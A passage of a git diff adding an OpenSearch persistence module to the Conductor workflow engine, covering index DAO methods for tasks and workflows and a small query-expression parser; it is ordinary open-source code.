String.format("(taskId='%s') AND (workflowId='%s')", taskId, workflowId), + "*", + 0, + 1, + null); + + if (taskSearchResult.getTotalHits() == 0) { + logger.error("Task: {} does not belong to workflow: {}", taskId, workflowId); + Monitors.error(className, "removeTask"); + return; + } + + DeleteRequest request = new DeleteRequest(taskIndexName, taskId); + + try { + DeleteResponse response = openSearchClient.delete(request, RequestOptions.DEFAULT); + + if (response.getResult() != DocWriteResponse.Result.DELETED) { + logger.error("Index removal failed - task not found by id: {}", workflowId); + Monitors.error(className, "removeTask"); + return; + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing task:{} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("remove_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error( + "Failed to remove task {} of workflow: {} from index", taskId, workflowId, e); + Monitors.error(className, "removeTask"); + } + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new IllegalArgumentException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + UpdateRequest request = new UpdateRequest(taskIndexName, taskId); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + request.doc(source); + + logger.debug("Updating task: {} of workflow: {} with {}", taskId, workflowId, source); + openSearchClient.update(request, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating task: {} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("update_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update task: {} of workflow: {}", taskId, workflowId, e); + Monitors.error(className, "update"); + } + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateTask(workflowId, taskId, keys, values), executorService); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateWorkflow(workflowInstanceId, keys, values), executorService); + } + + @Override + public String get(String workflowInstanceId, String fieldToGet) { + GetRequest request = new GetRequest(workflowIndexName, workflowInstanceId); + GetResponse response; + try { + response = openSearchClient.get(request, RequestOptions.DEFAULT); + } catch (IOException e) { + logger.error( + "Unable to get Workflow: {} from openSearch index: {}", + workflowInstanceId, + workflowIndexName, + e); + return null; + } + + if (response.isExists()) { + Map sourceAsMap = response.getSourceAsMap(); + if (sourceAsMap.get(fieldToGet) != null) { + return sourceAsMap.get(fieldToGet).toString(); + } + } + + logger.debug( + "Unable to find Workflow: {} in openSearch index: {}.", + workflowInstanceId, + workflowIndexName); + return null; + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjectIds(getIndexName(docType), queryBuilder, start, size, sortOptions); + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + Class clazz) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects( + getIndexName(docType), queryBuilder, start, size, sortOptions, false, clazz); + } + + private SearchResult searchObjectIds( + String indexName, QueryBuilder queryBuilder, int start, int size) throws IOException { + return searchObjectIds(indexName, queryBuilder, start, size, null); + } + + /** + * Tries to find object ids for a given query in an index. + * + * @param indexName The name of the index. + * @param queryBuilder The query to use for searching. + * @param start The start to use. + * @param size The total return size. + * @param sortOptions A list of string options to sort in the form VALUE:ORDER; where ORDER is + * optional and can be either ASC OR DESC. + * @return The SearchResults which includes the count and IDs that were found. + * @throws IOException If we cannot communicate with ES. + */ + private SearchResult searchObjectIds( + String indexName, + QueryBuilder queryBuilder, + int start, + int size, + List sortOptions) + throws IOException { + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(queryBuilder); + searchSourceBuilder.from(start); + searchSourceBuilder.size(size); + + if (sortOptions != null && !sortOptions.isEmpty()) { + + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.ASC; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + order = SortOrder.valueOf(sortOption.substring(index + 1)); + } + searchSourceBuilder.sort(new FieldSortBuilder(field).order(order)); + } + } + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(indexName); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = openSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + List result = new LinkedList<>(); + response.getHits().forEach(hit -> result.add(hit.getId())); + long count = response.getHits().getTotalHits().value; + return new SearchResult<>(count, result); + } + + private SearchResult searchObjects( + String indexName, + QueryBuilder queryBuilder, + int start, + int size, + List sortOptions, + boolean idOnly, + Class clazz) + throws IOException { + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(queryBuilder); + searchSourceBuilder.from(start); + searchSourceBuilder.size(size); + if (idOnly) { + searchSourceBuilder.fetchSource(false); + } + + if (sortOptions != null && !sortOptions.isEmpty()) { + + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.ASC; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + order = SortOrder.valueOf(sortOption.substring(index + 1)); + } + searchSourceBuilder.sort(new FieldSortBuilder(field).order(order)); + } + } + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(indexName); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = openSearchClient.search(searchRequest, RequestOptions.DEFAULT); + return mapSearchResult(response, idOnly, clazz); + } + + private SearchResult mapSearchResult( + SearchResponse response, boolean idOnly, Class clazz) { + SearchHits searchHits = response.getHits(); + long count = searchHits.getTotalHits().value; + List result; + if (idOnly) { + result = + Arrays.stream(searchHits.getHits()) + .map(hit -> clazz.cast(hit.getId())) + .collect(Collectors.toList()); + } else { + result = + Arrays.stream(searchHits.getHits()) + .map( + hit -> { + try { + return objectMapper.readValue( + hit.getSourceAsString(), clazz); + } catch (JsonProcessingException e) { + logger.error( + "Failed to de-serialize opensearch from source: {}", + hit.getSourceAsString(), + e); + } + return null; + }) + .collect(Collectors.toList()); + } + return new SearchResult<>(count, result); + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + QueryBuilder q = + QueryBuilders.boolQuery() + .must( + QueryBuilders.rangeQuery("endTime") + .lt(LocalDate.now().minusDays(archiveTtlDays).toString()) + .gte( + LocalDate.now() + .minusDays(archiveTtlDays) + .minusDays(1) + .toString())) + .should(QueryBuilders.termQuery("status", "COMPLETED")) + .should(QueryBuilders.termQuery("status", "FAILED")) + .should(QueryBuilders.termQuery("status", "TIMED_OUT")) + .should(QueryBuilders.termQuery("status", "TERMINATED")) + .mustNot(QueryBuilders.existsQuery("archived")) + .minimumShouldMatch(1); + + SearchResult workflowIds; + try { + workflowIds = searchObjectIds(indexName, q, 0, 1000); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find archivable workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + @Override + public long getWorkflowCount(String query, String freeText) { + try { + return getObjectCounts(query, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + private long getObjectCounts(String structuredQuery, String freeTextQuery, String docType) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + + String indexName = getIndexName(docType); + CountRequest countRequest = new CountRequest(new String[] {indexName}, queryBuilder); + CountResponse countResponse = openSearchClient.count(countRequest, RequestOptions.DEFAULT); + return countResponse.getCount(); + } + + public List searchRecentRunningWorkflows( + int lastModifiedHoursAgoFrom, int lastModifiedHoursAgoTo) { + DateTime dateTime = new DateTime(); + QueryBuilder q = + QueryBuilders.boolQuery() + .must( + QueryBuilders.rangeQuery("updateTime") + .gt(dateTime.minusHours(lastModifiedHoursAgoFrom))) + .must( + QueryBuilders.rangeQuery("updateTime") + .lt(dateTime.minusHours(lastModifiedHoursAgoTo))) + .must(QueryBuilders.termQuery("status", "RUNNING")); + + SearchResult workflowIds; + try { + workflowIds = + searchObjectIds( + workflowIndexName, + q, + 0, + 5000, + Collections.singletonList("updateTime:ASC")); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find recent running workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + private void indexObject(final String index, final String docType, final Object doc) { + indexObject(index, docType, null, doc); + } + + private void indexObject( + final String index, final String docType, final String docId, final Object doc) { + + byte[] docBytes; + try { + docBytes = objectMapper.writeValueAsBytes(doc); + } catch (JsonProcessingException e) { + logger.error("Failed to convert {} '{}' to byte string", docType, docId); + return; + } + IndexRequest request = new IndexRequest(index); + request.id(docId).source(docBytes, XContentType.JSON); + + synchronized (this) { + if (bulkRequests.get(docType) == null) { + bulkRequests.put( + docType, new BulkRequests(System.currentTimeMillis(), new BulkRequest())); + } + + bulkRequests.get(docType).getBulkRequest().add(request); + if (bulkRequests.get(docType).getBulkRequest().numberOfActions() + >= this.indexBatchSize) { + indexBulkRequest(docType); + } + } + } + + private synchronized void indexBulkRequest(String docType) { + if (bulkRequests.get(docType).getBulkRequest() != null + && bulkRequests.get(docType).getBulkRequest().numberOfActions() > 0) { + synchronized (bulkRequests.get(docType).getBulkRequest()) { + indexWithRetry( + bulkRequests.get(docType).getBulkRequest().get(), + "Bulk Indexing " + docType, + docType); + bulkRequests.put( + docType, new BulkRequests(System.currentTimeMillis(), new BulkRequest())); + } + } + } + + /** + * Performs an index operation with a retry. + * + * @param request The index request that we want to perform. + * @param operationDescription The type of operation that we are performing. + */ + private void indexWithRetry( + final BulkRequest request, final String operationDescription, String docType) { + try { + long startTime = Instant.now().toEpochMilli(); + retryTemplate.execute( + context -> openSearchClient.bulk(request, RequestOptions.DEFAULT)); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing object of type: {}", endTime - startTime, docType); + Monitors.recordESIndexTime("index_object", docType, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "index"); + logger.error("Failed to index {} for request type: {}", request, docType, e); + } + } + + /** + * Flush the buffers if bulk requests have not been indexed for the past {@link + * OpenSearchProperties#getAsyncBufferFlushTimeout()} seconds This is to prevent data loss in + * case the instance is terminated, while the buffer still holds documents to be indexed. + */ + private void flushBulkRequests() { + bulkRequests.entrySet().stream() + .filter( + entry -> + (System.currentTimeMillis() - entry.getValue().getLastFlushTime()) + >= asyncBufferFlushTimeout * 1000L) + .filter( + entry -> + entry.getValue().getBulkRequest() != null + && entry.getValue().getBulkRequest().numberOfActions() > 0) + .forEach( + entry -> { + logger.debug( + "Flushing bulk request buffer for type {}, size: {}", + entry.getKey(), + entry.getValue().getBulkRequest().numberOfActions()); + indexBulkRequest(entry.getKey()); + }); + } + + private static class BulkRequests { + + private final long lastFlushTime; + private final BulkRequestWrapper bulkRequest; + + long getLastFlushTime() { + return lastFlushTime; + } + + BulkRequestWrapper getBulkRequest() { + return bulkRequest; + } + + BulkRequests(long lastFlushTime, BulkRequest bulkRequest) { + this.lastFlushTime = lastFlushTime; + this.bulkRequest = new BulkRequestWrapper(bulkRequest); + } + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/Expression.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/Expression.java new file mode 100644 index 0000000..45cffec --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/Expression.java @@ -0,0 +1,117 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.os2.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.os2.dao.query.parser.internal.BooleanOp; +import org.conductoross.conductor.os2.dao.query.parser.internal.ParserException; +import org.opensearch.index.query.QueryBuilder; +import org.opensearch.index.query.QueryBuilders; + +/** + * @author Viren + */ +public class Expression extends AbstractNode implements FilterProvider { + + private NameValue nameVal; + + private GroupedExpression ge; + + private BooleanOp op; + + private Expression rhs; + + public Expression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(1); + + if (peeked[0] == '(') { + this.ge = new GroupedExpression(is); + } else { + this.nameVal = new NameValue(is); + } + + peeked = peek(3); + if (isBoolOpr(peeked)) { + // we have an expression next + this.op = new BooleanOp(is); + this.rhs = new Expression(is); + } + } + + public boolean isBinaryExpr() { + return this.op != null; + } + + public BooleanOp getOperator() { + return this.op; + } + + public Expression getRightHandSide() { + return this.rhs; + } + + public boolean isNameValue() { + return this.nameVal != null; + } + + public NameValue getNameValue() { + return this.nameVal; + } + + public GroupedExpression getGroupedExpression() { + return this.ge; + } + + @Override + public QueryBuilder getFilterBuilder() { + QueryBuilder lhs = null; + if (nameVal != null) { + lhs = nameVal.getFilterBuilder(); + } else { + lhs = ge.getFilterBuilder(); + } + + if (this.isBinaryExpr()) { + QueryBuilder rhsFilter = rhs.getFilterBuilder(); + if (this.op.isAnd()) { + return QueryBuilders.boolQuery().must(lhs).must(rhsFilter); + } else { + return QueryBuilders.boolQuery().should(lhs).should(rhsFilter); + } + } else { + return lhs; + } + } + + @Override + public String toString() { + if (isBinaryExpr()) { + return "" + (nameVal == null ? ge : nameVal) + op + rhs; + } else { + return "" + (nameVal == null ? ge : nameVal); + } + } + + public static Expression fromString(String value) throws ParserException { + return new Expression(new BufferedInputStream(new ByteArrayInputStream(value.getBytes()))); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/FilterProvider.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/FilterProvider.java new file mode 100644 index 0000000..090ee73 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/FilterProvider.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import org.opensearch.index.query.QueryBuilder; + +/** + * @author Viren + */ +public interface FilterProvider { + + /** + * @return FilterBuilder for elasticsearch + */ + public QueryBuilder getFilterBuilder(); +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/GroupedExpression.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/GroupedExpression.java new file mode 100644 index 0000000..c2f53ab --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/GroupedExpression.java @@ -0,0 +1,59 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import java.io.InputStream; + +import org.conductoross.conductor.os2.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.os2.dao.query.parser.internal.ParserException; +import org.opensearch.index.query.QueryBuilder; + +/** + * @author Viren + */ +public class GroupedExpression extends AbstractNode implements FilterProvider { + + private Expression expression; + + public GroupedExpression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + + this.expression = new Expression(is); + + peeked = read(1); + assertExpected(peeked, ")"); + } + + @Override + public String toString() { + return "(" + expression + ")"; + } + + /** + * @return the expression + */ + public Expression getExpression() { + return expression; + } + + @Override + public QueryBuilder getFilterBuilder() { + return expression.getFilterBuilder(); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/NameValue.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/NameValue.java new file mode 100644 index 0000000..a0629f3 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/NameValue.java @@ -0,0 +1,132 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import java.io.InputStream; + +import org.conductoross.conductor.os2.dao.query.parser.internal.*; +import org.conductoross.conductor.os2.dao.query.parser.internal.ComparisonOp.Operators; +import org.opensearch.index.query.QueryBuilder; +import org.opensearch.index.query.QueryBuilders; + +/** + * @author Viren + * 

    + * Represents an expression of the form as below:
+ * key OPR value
+ * OPR is the comparison operator which could be on the following:
+ * 	>, <, = , !=, IN, BETWEEN
+ *
    + */ +public class NameValue extends AbstractNode implements FilterProvider { + + private Name name; + + private ComparisonOp op; + + private ConstValue value; + + private Range range; + + private ListConst valueList; + + public NameValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.name = new Name(is); + this.op = new ComparisonOp(is); + + if (this.op.getOperator().equals(Operators.BETWEEN.value())) { + this.range = new Range(is); + } + if (this.op.getOperator().equals(Operators.IN.value())) { + this.valueList = new ListConst(is); + } else { + this.value = new ConstValue(is); + } + } + + @Override + public String toString() { + return "" + name + op + value; + } + + /** + * @return the name + */ + public Name getName() { + return name; + } + + /** + * @return the op + */ + public ComparisonOp getOp() { + return op; + } + + /** + * @return the value + */ + public ConstValue getValue() { + return value; + } + + @Override + public QueryBuilder getFilterBuilder() { + if (op.getOperator().equals(Operators.EQUALS.value())) { + return QueryBuilders.queryStringQuery( + name.getName() + ":" + value.getValue().toString()); + } else if (op.getOperator().equals(Operators.BETWEEN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .from(range.getLow()) + .to(range.getHigh()); + } else if (op.getOperator().equals(Operators.IN.value())) { + return QueryBuilders.termsQuery(name.getName(), valueList.getList()); + } else if (op.getOperator().equals(Operators.NOT_EQUALS.value())) { + return QueryBuilders.queryStringQuery( + "NOT " + name.getName() + ":" + value.getValue().toString()); + } else if (op.getOperator().equals(Operators.GREATER_THAN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .from(value.getValue()) + .includeLower(false) + .includeUpper(false); + } else if (op.getOperator().equals(Operators.IS.value())) { + if (value.getSysConstant().equals(ConstValue.SystemConsts.NULL)) { + return QueryBuilders.boolQuery() + .mustNot( + QueryBuilders.boolQuery() + .must(QueryBuilders.matchAllQuery()) + .mustNot(QueryBuilders.existsQuery(name.getName()))); + } else if (value.getSysConstant().equals(ConstValue.SystemConsts.NOT_NULL)) { + return QueryBuilders.boolQuery() + .mustNot( + QueryBuilders.boolQuery() + .must(QueryBuilders.matchAllQuery()) + .must(QueryBuilders.existsQuery(name.getName()))); + } + } else if (op.getOperator().equals(Operators.LESS_THAN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .to(value.getValue()) + .includeLower(false) + .includeUpper(false); + } else if (op.getOperator().equals(Operators.STARTS_WITH.value())) { + return QueryBuilders.prefixQuery(name.getName(), value.getUnquotedValue()); + } + + throw new IllegalStateException("Incorrect/unsupported operators"); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractNode.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractNode.java new file mode 100644 index 0000000..838be5d --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractNode.java @@ -0,0 +1,178 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; +import java.math.BigDecimal; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; + +/** + * @author Viren + */ +public abstract class AbstractNode { + + public static final Pattern WHITESPACE = Pattern.compile("\\s"); + + protected static Set comparisonOprs = new HashSet(); + + static { + comparisonOprs.add('>'); + comparisonOprs.add('<'); + comparisonOprs.add('='); + } + + protected InputStream is; + + protected AbstractNode(InputStream is) throws ParserException { + this.is = is; + this.parse(); + } + + protected boolean isNumber(String test) { + try { + // If you can convert to a big decimal value, then it is a number. + new BigDecimal(test); + return true; + + } catch (NumberFormatException e) { + // Ignore + } + return false; + } + + protected boolean isBoolOpr(byte[] buffer) { + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + return true; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + return true; + } + return false; + } + + protected boolean isComparisonOpr(byte[] buffer) { + if (buffer[0] == 'I' && buffer[1] == 'N') { + return true; + } else if (buffer[0] == '!' && buffer[1] == '=') { + return true; + } else { + return comparisonOprs.contains((char) buffer[0]); + } + } + + protected byte[] peek(int length) throws Exception { + return read(length, true); + } + + protected byte[] read(int length) throws Exception { + return read(length, false); + } + + protected String readToken() throws Exception { + skipWhitespace(); + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + char c = (char) peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + is.skip(1); + break; + } else if (c == '=' || c == '>' || c == '<' || c == '!') { + // do not skip + break; + } + sb.append(c); + is.skip(1); + } + return sb.toString().trim(); + } + + protected boolean isNumeric(char c) { + if (c == '-' || c == 'e' || (c >= '0' && c <= '9') || c == '.') { + return true; + } + return false; + } + + protected void assertExpected(byte[] found, String expected) throws ParserException { + assertExpected(new String(found), expected); + } + + protected void assertExpected(String found, String expected) throws ParserException { + if (!found.equals(expected)) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected void assertExpected(char found, char expected) throws ParserException { + if (found != expected) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected static void efor(int length, FunctionThrowingException consumer) + throws Exception { + for (int i = 0; i < length; i++) { + consumer.accept(i); + } + } + + protected abstract void _parse() throws Exception; + + // Public stuff here + private void parse() throws ParserException { + // skip white spaces + skipWhitespace(); + try { + _parse(); + } catch (Exception e) { + System.out.println("\t" + this.getClass().getSimpleName() + "->" + this.toString()); + if (!(e instanceof ParserException)) { + throw new ParserException("Error parsing", e); + } else { + throw (ParserException) e; + } + } + skipWhitespace(); + } + + // Private methods + + private byte[] read(int length, boolean peekOnly) throws Exception { + byte[] buf = new byte[length]; + if (peekOnly) { + is.mark(length); + } + efor(length, (Integer c) -> buf[c] = (byte) is.read()); + if (peekOnly) { + is.reset(); + } + return buf; + } + + protected void skipWhitespace() throws ParserException { + try { + while (is.available() > 0) { + byte c = peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + // skip + read(1); + } else { + break; + } + } + } catch (Exception e) { + throw new ParserException(e.getMessage(), e); + } + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/BooleanOp.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/BooleanOp.java new file mode 100644 index 0000000..35b8e87 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/BooleanOp.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class BooleanOp extends AbstractNode { + + private String value; + + public BooleanOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] buffer = peek(3); + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + this.value = "OR"; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + this.value = "AND"; + } else { + throw new ParserException("No valid boolean operator found..."); + } + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } + + public boolean isAnd() { + return "AND".equals(value); + } + + public boolean isOr() { + return "OR".equals(value); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ComparisonOp.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ComparisonOp.java new file mode 100644 index 0000000..a0adf0e --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ComparisonOp.java @@ -0,0 +1,102 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class ComparisonOp extends AbstractNode { + + public enum Operators { + BETWEEN("BETWEEN"), + EQUALS("="), + LESS_THAN("<"), + GREATER_THAN(">"), + IN("IN"), + NOT_EQUALS("!="), + IS("IS"), + STARTS_WITH("STARTS_WITH"); + + private final String value; + + Operators(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + static { + int max = 0; + for (Operators op : Operators.values()) { + max = Math.max(max, op.value().length()); + } + maxOperatorLength = max; + } + + private static final int maxOperatorLength; + + private static final int betweenLen = Operators.BETWEEN.value().length(); + private static final int startsWithLen = Operators.STARTS_WITH.value().length(); + + private String value; + + public ComparisonOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(maxOperatorLength); + if (peeked[0] == '=' || peeked[0] == '>' || peeked[0] == '<') { + this.value = new String(peeked, 0, 1); + } else if (peeked[0] == 'I' && peeked[1] == 'N') { + this.value = "IN"; + } else if (peeked[0] == 'I' && peeked[1] == 'S') { + this.value = "IS"; + } else if (peeked[0] == '!' && peeked[1] == '=') { + this.value = "!="; + } else if (peeked.length >= betweenLen + && peeked[0] == 'B' + && peeked[1] == 'E' + && peeked[2] == 'T' + && peeked[3] == 'W' + && peeked[4] == 'E' + && peeked[5] == 'E' + && peeked[6] == 'N') { + this.value = Operators.BETWEEN.value(); + } else if (peeked.length == startsWithLen + && new String(peeked).equals(Operators.STARTS_WITH.value())) { + this.value = Operators.STARTS_WITH.value(); + } else { + throw new ParserException( + "Expecting an operator (=, >, <, !=, BETWEEN, IN, STARTS_WITH), but found none. Peeked=>" + + new String(peeked)); + } + + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ConstValue.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ConstValue.java new file mode 100644 index 0000000..df82ce5 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ConstValue.java @@ -0,0 +1,141 @@ +/* + * Copyright 2023 